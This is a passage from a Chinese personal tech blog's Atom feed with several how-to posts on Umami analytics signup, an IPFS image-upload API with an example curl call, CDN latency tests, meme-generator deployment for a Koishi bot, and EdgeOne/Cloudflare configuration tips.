&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;diao-yong-jiao-ben-geng-xin-gui-ze&quot;&gt;调用脚本更新规则&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3b44fed2-5dda-4dec-a009-8618b18370ee.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;c9fa44c0-c313-47b1-8b03-804b2b4324b9.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最后 &lt;code&gt;Review Changes&lt;&#x2F;code&gt; 并且 &lt;code&gt;Publish&lt;&#x2F;code&gt; 即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;aada66d2-b090-4959-b031-cbdb738def50.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;831bf953-5895-4a62-894c-ab8b24dc8697.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;itdogce-shi&quot;&gt;ITDog测试&lt;&#x2F;h1&gt;
&lt;p&gt;大部分测试节点已经403&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;127a5bc0-6504-4c98-a573-1e3da60b9c8e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;you-shen-me-yong&quot;&gt;有什么用？&lt;&#x2F;h1&gt;
&lt;p&gt;纯好玩 纯闲着没事干 汐汐 有空点下&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.afo.im&#x2F;posts&#x2F;pin&quot;&gt;这&lt;&#x2F;a&gt;来加群或者下方评论吧！&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>让你的网站对接高级的Umami统计！</title>
        <published>2025-07-06T00:00:00+00:00</published>
        <updated>2025-07-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/umami/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/umami/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/umami/">&lt;blockquote&gt;
&lt;p&gt;本教程针对于Umami Cloud的上手使用，如果你需要自托管Umami请自行寻找相关文档&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;进入 https://umami.is&#x2F; （如果进不去请检查是否有广告拦截器拦截了Umami！！！）&lt;&#x2F;p&gt;
&lt;p&gt;点击右上角的 &lt;code&gt;Sign UP&lt;&#x2F;code&gt; 注册账号&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3486d3c9-ab00-46d2-b8bf-4916fe8045bf.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;按需填写相关信息进行注册&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;adcb3e73-bd1d-4c6d-9ad2-c6ba2b17441d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;f6ff9d8a-e281-4f36-a917-686264479a5d.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后检查你的邮箱，是否收到了Umami的邮箱验证消息&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;50877413-0dcf-4229-b388-dc0ae4634414.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击 &lt;code&gt;Login&lt;&#x2F;code&gt; 进行登录，填入验证码&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;29321cee-f0a7-4d3b-9d1b-b507d34d3958.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;区域选择任意（选美国你的统计数据就记录在美国的服务器，选欧盟你的统计数据就记录在欧盟的服务器）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e7d5daaa-032a-4587-bd68-3d4194e88555.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;用户配置随便填写即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;b22a2c6b-43a0-4da8-b7f7-25b58f9118e7.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;继续填写你要统计的网站&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;bf3b74be-26d7-4618-8b22-72cab03ec22f.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将跟踪代码插入到你的网站的 &lt;code&gt;&amp;lt;head&amp;gt;Umami跟踪代码&amp;lt;&#x2F;head&amp;gt;&lt;&#x2F;code&gt; 中&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e58f4825-573c-4faf-8619-79c5eb194abe.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后我们就进入Umami控制台了&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6318e324-5a2a-47c8-8ab9-982131f2eb5b.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;点击 &lt;code&gt;View&lt;&#x2F;code&gt; 就能看到你的网站统计啦&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;8ab369ca-767e-4783-a38f-35f8ae59c654.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注：右上角可以改为中文&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9f32167c-d522-41a2-805b-202a97e91dfe.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;建议打开设置启用分享URL，这样你的用户就可以实时看到你的站点流量啦&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;21681684-8a26-4d15-8d3e-c51183febaf0.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhu-yi-shi-xiang&quot;&gt;注意事项&lt;&#x2F;h1&gt;
&lt;p&gt;Umami Cloud对于免费用户限制3个站点&lt;&#x2F;p&gt;
&lt;p&gt;免费版月事件数为10w，本人博客感觉不够用，已经自建了，教程可以看我b站，没有就是没发 &lt;del&gt;来拷打我&lt;&#x2F;del&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;d574dbd5-f095-469a-9db6-da7fdfdc08c2.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>分享一个IPFS图片API</title>
        <published>2025-07-04T00:00:00+00:00</published>
        <updated>2025-07-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/ipfs-api/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/ipfs-api/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/ipfs-api/">&lt;blockquote&gt;
&lt;p&gt;该API为&lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://xlog.app&quot;&gt;xLog&lt;&#x2F;a&gt;的图床API&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;POST https://ipfs-relay.crossbell.io&#x2F;upload&lt;&#x2F;p&gt;
&lt;p&gt;头无鉴权&lt;&#x2F;p&gt;
&lt;p&gt;body使用 &lt;code&gt;from-data&lt;&#x2F;code&gt; ，key为 &lt;code&gt;file&lt;&#x2F;code&gt; vlaue选择一个图片文件，不宜太大，会报错&lt;&#x2F;p&gt;
&lt;p&gt;示例Curl&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;curl --location &amp;#39;https://ipfs-relay.crossbell.io&#x2F;upload&amp;#39; \
--form &amp;#39;file=@&amp;quot;&#x2F;C:&#x2F;Users&#x2F;AcoFork&#x2F;Pictures&#x2F;b_53bb4f7fa91d684e72b666504e3fcc1897.jpg&amp;quot;&amp;#39;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;会返回&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;json&quot;&gt;{
    &amp;quot;status&amp;quot;: &amp;quot;ok&amp;quot;,
    &amp;quot;cid&amp;quot;: &amp;quot;QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc&amp;quot;,
    &amp;quot;url&amp;quot;: &amp;quot;ipfs:&#x2F;&#x2F;QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc&amp;quot;,
    &amp;quot;web2url&amp;quot;: &amp;quot;https://ipfs.crossbell.io&#x2F;ipfs&#x2F;QmVHG3KdGs3M8otdqjZEei6AzWt1usWRP6UmfLMbEub5nc&amp;quot;,
    &amp;quot;fileSize&amp;quot;: &amp;quot;77199&amp;quot;,
    &amp;quot;gnfd_id&amp;quot;: null,
    &amp;quot;gnfd_txn&amp;quot;: null
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中， &lt;code&gt;web2url&lt;&#x2F;code&gt; 就是可以直接访问的URL，无CORS限制&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https://eo-r2.2x.nz&#x2F;myblog&#x2F;img&#x2F;Qmb7hj9NHf9XdSZQ2dsqcSUpdrTuhjbpKJsTqG84X7rFqw.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>测评一下SecBit MCDN HK区域的质量</title>
        <published>2025-07-02T00:00:00+00:00</published>
        <updated>2025-07-02T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/secbit/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/secbit/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/secbit/">&lt;p&gt;https://secbit.ai&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ce-shi-jie-dian-xin-xi&quot;&gt;测试节点信息&lt;&#x2F;h1&gt;
&lt;p&gt;安徽合肥移动家宽（本人电脑）&lt;&#x2F;p&gt;
&lt;h1 id=&quot;postman-getce-shi&quot;&gt;PostMan GET测试&lt;&#x2F;h1&gt;
&lt;p&gt;测试Cloudflare R2默认的404页面HTML需要多长时间可以接收到&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhi-lian-cloudflare-r2&quot;&gt;直连Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;5eaa947d-9363-4eac-b375-0c3830614571.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;secbithui-yuan-cloudflare-r2&quot;&gt;Secbit回源Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;e1986e03-7b69-467a-92f0-cea88c118924.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;itdog-tcpingce-shi&quot;&gt;ITDog Tcping测试&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zhi-lian-cloudflare-r2-1&quot;&gt;直连Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6c8efb56-4fe8-44d5-82e2-45ca063014b1.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;secbithui-yuan-cloudflare-r2-1&quot;&gt;Secbit回源Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;a4654458-3b03-4ec3-9cfc-9d94615abaf9.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;itdog-wang-zhan-ce-su&quot;&gt;ITDog 网站测速&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zhi-lian-cloudflare-r2-2&quot;&gt;直连Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2bb7aee3-9ae7-48e8-bef7-37dbe0c8818c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;secbithui-yuan-cloudflare-r2-2&quot;&gt;Secbit回源Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;1a9a1ce4-720f-48dc-8fb7-8a9822caed68.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;da-wen-jian-xia-zai&quot;&gt;大文件下载&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zhi-lian-cloudflare-r2-3&quot;&gt;直连Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;6887e3eb-59cf-41ce-bda4-31b0ffc87c5a.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;secbithui-yuan-cloudflare-r2-3&quot;&gt;Secbit回源Cloudflare R2&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3328a47b-417a-4ba0-b3b8-5013c1ef89bf.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;Secbit相较于Cloudflare对于大陆直连更为友好，延迟更低、带宽更大。唯一的缺点就是直接买很贵，也建议大家可以多多写博客，&lt;strong&gt;网站月ip达到3k可以看置顶文章加群联系我帮你申请&lt;&#x2F;strong&gt;，争取早日拿到属于你们的Secbit😋&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>meme-generator部署指南以及对接Koishi</title>
        <published>2025-06-30T00:00:00+00:00</published>
        <updated>2025-06-30T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/meme-api/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/meme-api/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/meme-api/">&lt;p&gt;视频教程： https://www.bilibili.com&#x2F;video&#x2F;BV1i53PzUEzE&#x2F;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hou-duan-bu-shu&quot;&gt;后端部署&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Github： https://github.com&#x2F;MemeCrafters&#x2F;meme-generator&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;安装依赖&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;pip install -U &amp;quot;meme_generator&amp;lt;0.2.0&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;克隆仓库&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;git clone https://github.com&#x2F;MemeCrafters&#x2F;meme-generator
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;克隆额外表情仓库&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;git clone https://github.com&#x2F;MemeCrafters&#x2F;meme-generator-contrib
git clone https://github.com&#x2F;anyliew&#x2F;meme_emoji
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前往 &lt;code&gt;~&#x2F;.config&#x2F;meme_generator&#x2F;config.toml&lt;&#x2F;code&gt; 填入配置文件。并且填入刚刚克隆的额外表情仓库： &lt;code&gt;meme_dirs&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;toml&quot;&gt;[meme]
load_builtin_memes = true  # 是否加载内置表情包
meme_dirs = [&amp;quot;&#x2F;root&#x2F;meme-api&#x2F;meme-generator-contrib&#x2F;memes&amp;quot;, &amp;quot;&#x2F;root&#x2F;meme-api&#x2F;meme_emoji&#x2F;emoji&amp;quot;]  # 加载其他位置的表情包，填写文件夹路径
meme_disabled_list = []  # 禁用的表情包列表，填写表情的 `key`

[resource]
# 下载内置表情包图片时的资源链接，下载时选择最快的站点
resource_urls = [
  &amp;quot;https://raw.githubusercontent.com&#x2F;MemeCrafters&#x2F;meme-generator&#x2F;&amp;quot;,
  &amp;quot;https://mirror.ghproxy.com&#x2F;https://raw.githubusercontent.com&#x2F;MemeCrafters&#x2F;meme-generator&#x2F;&amp;quot;,
  &amp;quot;https://cdn.jsdelivr.net&#x2F;gh&#x2F;MemeCrafters&#x2F;meme-generator@&amp;quot;,
  &amp;quot;https://fastly.jsdelivr.net&#x2F;gh&#x2F;MemeCrafters&#x2F;meme-generator@&amp;quot;,
  &amp;quot;https://raw.gitmirror.com&#x2F;MemeCrafters&#x2F;meme-generator&#x2F;&amp;quot;,
]

[gif]
gif_max_size = 10.0  # 限制生成的 gif 文件大小，单位为 Mb
gif_max_frames = 100  # 限制生成的 gif 文件帧数

[translate]
baidu_trans_appid = &amp;quot;&amp;quot;  # 百度翻译api相关，表情包 `dianzhongdian` 需要使用
baidu_trans_apikey = &amp;quot;&amp;quot;  # 可在 百度翻译开放平台 (http:&#x2F;&#x2F;api.fanyi.baidu.com) 申请

[server]
host = &amp;quot;127.0.0.1&amp;quot;  # web server 监听地址
port = 2233  # web server 端口

[log]
log_level = &amp;quot;INFO&amp;quot;  # 日志等级
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;python -m meme_generator.app
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看到以下日志即运行成功&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code data-lang=&quot;bash&quot;&gt;root@AcoFork-NAS:~&#x2F;meme-api&#x2F;meme-generator# python3 -m meme_generator.app
Fontconfig warning: &amp;quot;&#x2F;usr&#x2F;share&#x2F;fontconfig&#x2F;conf.avail&#x2F;05-reset-dirs-sample.conf&amp;quot;, line 6: unknown element &amp;quot;reset-dirs&amp;quot;
06-30 05:32:45 [INFO] meme_generator.log | Config file path: &#x2F;root&#x2F;.config&#x2F;meme_generator&#x2F;config.toml
06-30 05:32:48 [INFO] logging | Started server process [3363901]
06-30 05:32:48 [INFO] logging | Waiting for application startup.
06-30 05:32:48 [INFO] logging | Application startup complete.
06-30 05:32:48 [INFO] logging | Uvicorn running on http:&#x2F;&#x2F;127.0.0.1:2233 (Press CTRL+C to quit)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;qian-duan-dui-jie&quot;&gt;前端对接&lt;&#x2F;h2&gt;
&lt;p&gt;Koishi插件市场安装此插件的1.0.3版本&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;47f3db05-48bf-4382-817b-7a2b733dcd72.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;3ffb0585-eb36-46fe-b32a-0162514e6e63.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;启用插件。可以看到 &lt;code&gt;插件初始化完毕，共载入 455 个表情。&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;50da2a0d-7e49-491a-bad3-d9fde22a9df6.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong&quot;&gt;使用&lt;&#x2F;h2&gt;
&lt;p&gt;向Bot发送 &lt;code&gt;表情列表&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ed053d82-535e-47af-ac17-b27025d25dab.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;生成表情&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;572c88c4-301b-4048-81bf-fcbb70d4064e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>EdgeOne + Cloudflare，我们天下无敌！</title>
        <published>2025-06-27T00:00:00+00:00</published>
        <updated>2025-06-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/eo-cf/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/eo-cf/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/eo-cf/">&lt;p&gt;主播也是搞到了EdgeOne免费版激活码了，终于可以大展宏图了😋&lt;&#x2F;p&gt;
&lt;h1 id=&quot;wo-zen-me-huan-dao-edgeonemian-fei-ban&quot;&gt;我怎么换到EdgeOne免费版？&lt;&#x2F;h1&gt;
&lt;p&gt;前往 &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://edgeone.ai&#x2F;zh&#x2F;redemption&quot;&gt;腾讯云EdgeOne免费计划兑换码 - 立即体验&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;推荐直接发推，按照要求发&lt;&#x2F;p&gt;
&lt;p&gt;发完后私信EO官方即可&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;9ccbf7c1-6006-45f6-a9f4-e1979df8b12b.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;mo-ren-edgeonegei-de-anycast-cnameguo-yu-la-ji&quot;&gt;默认EdgeOne给的Anycast CNAME过于垃圾？&lt;&#x2F;h1&gt;
&lt;p&gt;默认在EO添加域名EO会发给你一个类似 &lt;code&gt;afo.im.eo.dnse4.com&lt;&#x2F;code&gt; 这样的CNAME&lt;&#x2F;p&gt;
&lt;p&gt;也就是 &lt;code&gt;你的域名.eo.dnse4.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;emm 这玩意吧 你们自己看速度吧&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;33a0b34f-d36f-4214-bcf3-616f9b174630.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我推荐大家使用 &lt;code&gt;43.174.150.150&lt;&#x2F;code&gt; 。是一个中国香港的三网优化IP。速度如下。&lt;strong&gt;本人EdgeOne优选：&lt;&#x2F;strong&gt; &lt;code&gt;eo.072103.xyz&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ab4cfd6f-ef23-4670-8577-02850f372124.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;huan-liao-cnamehou-wu-fa-zi-dong-shen-qing-mian-fei-ssl&quot;&gt;换了CNAME后无法自动申请免费SSL？&lt;&#x2F;h1&gt;
&lt;p&gt;如果你将你的域名托管给EO并且没有用EO给你的CNAME，则这个选项不可用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;d81050d7-5d58-4b80-92d9-bf1e07285544.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我推荐采用1panel、宝塔、acme.sh手动申请泛域名证书然后上传到腾讯云SSL控制台，就像这样&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;59cf2a66-2717-4291-b027-6cd2f270ece4.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;edgeonezen-me-zuo-zhong-ding-xiang&quot;&gt;EdgeOne怎么做重定向？&lt;&#x2F;h1&gt;
&lt;p&gt;在这里&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;8f31d55f-4d0b-4209-935b-c2ec7924846c.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;5ca74214-b4d0-4ac1-9fab-06d3096a5f7e.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;EO边缘函数也支持重定向，支持更细化的重定向规则&lt;&#x2F;p&gt;
&lt;p&gt;但是这玩意记录请求数，不如用Cloudflare的重定向规则&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2853531b-a57f-4b20-a8ec-98c0ca433604.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先我们在CF写这样一个规则
&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;ac9afee9-a368-4e10-a2a9-045e8672d636.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后让EO回源到CF边缘节点。最简单就是随便填个IP然后套CDN&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;08445fb0-892a-4793-a359-6cfc3194dbce.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着配置EO回源，这里一定要使用加速域名作为回源Host头&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;4911f0ca-86a0-42d3-90cf-ad2434f782ae.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;原理：用户 - EO - CF - CF识别到Host匹配重定向规则 - 301&lt;&#x2F;p&gt;
&lt;h1 id=&quot;edgeonefan-dai-yi-qie&quot;&gt;EdgeOne反代一切？&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;大部分情况将 &lt;code&gt;回源HOST头&lt;&#x2F;code&gt; 改为源站就能解决反代后网站无法访问的问题&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;2025-08-04-12-00-41-image.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>试试Cloudflare IP优选！让Cloudflare在国内再也不是减速器！</title>
        <published>2025-06-24T00:00:00+00:00</published>
        <updated>2025-06-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              AcoFork
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://af-archive-zola-classic.pages.dev/posts/cf-fastip/"/>
        <id>https://af-archive-zola-classic.pages.dev/posts/cf-fastip/</id>
        
        <content type="html" xml:base="https://af-archive-zola-classic.pages.dev/posts/cf-fastip/">&lt;h4 id=&quot;wei-you-xuan&quot;&gt;未优选&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;images&#x2F;098f9ee71ae62603022e542878673e19bdcaf196.webp&quot; alt=&quot;QmZoinxZgAzu7Skh7BqsxmDQGU1sXtLLskJcyQuRAQNKww.webp&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yi-you-xuan&quot;&gt;已优选&lt;&#x2F;h4&gt;
